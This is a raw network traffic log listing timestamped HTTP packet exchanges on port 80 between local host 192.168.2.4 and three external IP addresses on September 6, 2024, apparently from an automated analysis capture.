Sep 6, 2024 08:17:06.423574924 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.423587084 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.423597097 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.423597097 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.423608065 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.423615932 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.423620939 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.423633099 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.423639059 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.423643112 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.423676014 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.423688889 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.423752069 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.423801899 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.423814058 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.423837900 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.423851967 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.423872948 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.423883915 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.423902035 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.423912048 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.423922062 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.423926115 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.423934937 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.423938036 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.423969030 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.424037933 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.424056053 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.424067020 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.424098015 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.424109936 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.424195051 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.424206018 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.424216032 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.424241066 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.424268007 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.433279991 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.433379889 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.433391094 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.433402061 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.433414936 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.433424950 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.433429003 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.433442116 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.433454037 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.433459044 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.433469057 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.433492899 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.433511972 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.433856964 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.433868885 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.433880091 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.433907032 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.433933020 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.434007883 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.434019089 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.434035063 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.434051037 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.434057951 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.434062958 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.434073925 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.434077978 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.434086084 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.434098959 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.434104919 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.434111118 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.434122086 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.434134007 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.434134007 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.434154034 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.434171915 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.451922894 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.451945066 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.451956987 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.451973915 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.451997042 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.452013969 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.452025890 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.452037096 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.452048063 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.452071905 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.452090979 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.452121973 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.452132940 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.452142000 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.452166080 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.452178001 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.452215910 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.452227116 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.452261925 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.452311993 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.452322960 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.452358007 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.452378035 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.452387094 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.452415943 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.452469110 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.452483892 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.452495098 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.452506065 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.452507973 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.452517033 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.452528954 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.452544928 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.452581882 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.454170942 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.454194069 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.454205036 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.454245090 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.454268932 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.454279900 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.454288960 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.454301119 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.454310894 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.454319000 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.454329014 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.454329967 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.454353094 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.454363108 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.454374075 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.454377890 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.454406023 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.454416037 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.454427004 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.454437971 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.454448938 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.454453945 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.454482079 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.454508066 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.454521894 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.454533100 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.454541922 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.454550982 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.454562902 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.454571962 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.454574108 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.454601049 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.454602003 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.454612970 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.454618931 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.454623938 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.454636097 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.454643965 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.454663992 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.454683065 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.454685926 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.454694033 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.454730034 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.454755068 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.454765081 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.454777956 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.454799891 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.454803944 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.454823017 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.454842091 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.454864979 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.454875946 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.454885960 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.454896927 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.454910994 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.454942942 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.454966068 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.455214024 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.455244064 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.455254078 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.455255985 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.455271006 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.455282927 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.455316067 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.455317020 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.455328941 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.455338001 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.455352068 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.455363035 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.455389977 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.455408096 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.455421925 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.455451012 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.455538988 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.455549955 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.455559969 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.455570936 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.455581903 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.455584049 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.455593109 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.455600977 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.455604076 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.455615044 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.455627918 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.455652952 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.455679893 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.455688953 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.455717087 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.455737114 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.455868006 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.455878973 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.455888987 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.455899000 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.455909967 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.455914974 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.455920935 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.455931902 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.455941916 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.455945969 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.455952883 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.455959082 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.455964088 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.455975056 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.455985069 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.455991983 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.456005096 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.456010103 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.456016064 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.456032038 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.456032038 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.456058979 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.456089020 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.456094980 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.456100941 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.456110954 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.456123114 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.456139088 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.456139088 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.456149101 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.456163883 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.456188917 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.456214905 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.456226110 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.456235886 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.456248045 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.456259012 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.456259966 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.456269979 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.456279993 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.456283092 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.456296921 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.456309080 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.456311941 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.456319094 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.456338882 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.456362009 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.458710909 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.458744049 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.458755016 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.458755970 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.458786011 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.458808899 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.458820105 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.458830118 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.458841085 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.458846092 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.458878040 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.463222980 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.463233948 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.463246107 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.463259935 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.463268995 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.463272095 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.463304043 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.463323116 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.463330030 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.463340044 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.463349104 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.463360071 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.463371038 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.463372946 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.463382006 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.463398933 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.463399887 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.463409901 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.463418961 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.463419914 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.463432074 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.463433027 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.463443041 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.463459015 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.463489056 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.464057922 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.464106083 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.464128017 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.464138985 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.464155912 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.464169025 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.464179993 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.464180946 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.464211941 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.464222908 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.464230061 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.464235067 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.464246988 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.464258909 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.464277983 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.464292049 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.464370966 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.464380980 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.464390993 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.464406967 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.464411020 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.464417934 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.464441061 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.464454889 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.464477062 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.464489937 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.464500904 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.464514017 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.464519978 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.464524984 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.464550972 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.464571953 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.464577913 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.464587927 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.464597940 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.464621067 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.464634895 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.464729071 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.464740992 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.464776039 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.464790106 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.464827061 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.464862108 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.464873075 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.464883089 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.464895010 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.464905977 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.464910030 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.464926004 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.464936972 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.464950085 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.464976072 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.465761900 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.465774059 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.465785027 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.465806007 CEST	49739	80	192.168.2.4	31.41.244.9
